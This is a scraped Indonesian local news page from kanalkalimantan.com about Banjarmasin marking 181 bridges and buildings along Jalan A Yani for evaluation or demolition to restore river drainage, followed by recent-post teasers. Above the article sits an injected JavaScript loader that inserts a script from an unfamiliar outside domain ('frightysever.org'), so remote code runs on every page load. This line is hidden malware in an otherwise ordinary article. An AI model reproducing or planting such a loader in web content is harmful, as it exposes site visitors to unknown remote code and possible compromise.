(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

181 Titik di A Yani dari Km 2 hingga Km 6 Diberi Tanda, Silang Merah Harus Dibongkar!


KANALKALIMANTAN.COM,BANJARMASIN – Satgas Normalisasi Sungai yang dibentuk Pemko Banjarmasin sudah mulai memberi titik tanda bangunan dan jembatan yang harus dibongkar pemilik.

Sebanyak 181 titik sudah diberikan tanda agar pemilik membongkar sendiri atau Pemko Banjarmasin yang akan menurunkan alat berat untuk pembongkaran.

Walikota Banjarmasin H Ibnu Sina mengatakan, sebanyak 181 titik jembatan dan bangunan itu sudah diberikan tanda silang dengan tiga warna dalam upaya pelaksanaan normalisasi sungai di Kota Banjarmasin.

Dijelaskan Ibnu Sina, definisi tanda silang tersebut terdiri dari warna hijau yang berarti tanda bahwa bangunan tersebut aman, kondisi tinggi air dengan bangunan tidak mempengaruhi aliran sungai.

Lalu tanda berwarna kuning menandakan bahwa bangunan tersebut harus dievaluasi kembali dari pelebaran dan peninggian bangunan.

“Dan tanda silang berwarna merah menandakan bahwa bangunan yang berada di atas sungai tersebut akan segera dibongkar dan diberikan tenggat waktu hingga 13 Februari 2021,” tegas Ibnu Sina.

“Kalau hijau itu aman ketinggian dengan air sungainya. Sedangkan tanda silang merah itu jembatannya terlalu rendah sehingga menutupi arus, itu harus dibongkar,” jelas Wali Kota Banjarmasin, Selasa (9/2/2021).

Ibnu Sina juga menjelaskan bahwa upaya normalisasi sungai di sepanjang Jalan A Yani tersebut merupakan upaya untuk mengembalikan fungsi sungai seperti sedia kala.

“Upaya kita ini untuk mengembalikan fungsi sungai atau kanal sebagai drainase,” jelasnya.
Sementara itu, Ketua Satgas Normalisasi Sungai, Doyo Pudjadi mengatakan bahwa beberapa bangunan yang sudah ditandai akan segera dilakukan pembongkaran pada Rabu (10/2/2021) besok.

“Besok kita sudah mulai akan melakukan pembongkaran Jembatan di Jalan A Yani Km 6,” ujar Doyo.

Pantauan Kanalkalimantan.com tanda silang merah tersebut sudah tersebar sepanjang Jalan A Yani dari Km 2 hingga Km 6 Banjarmasin. (kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.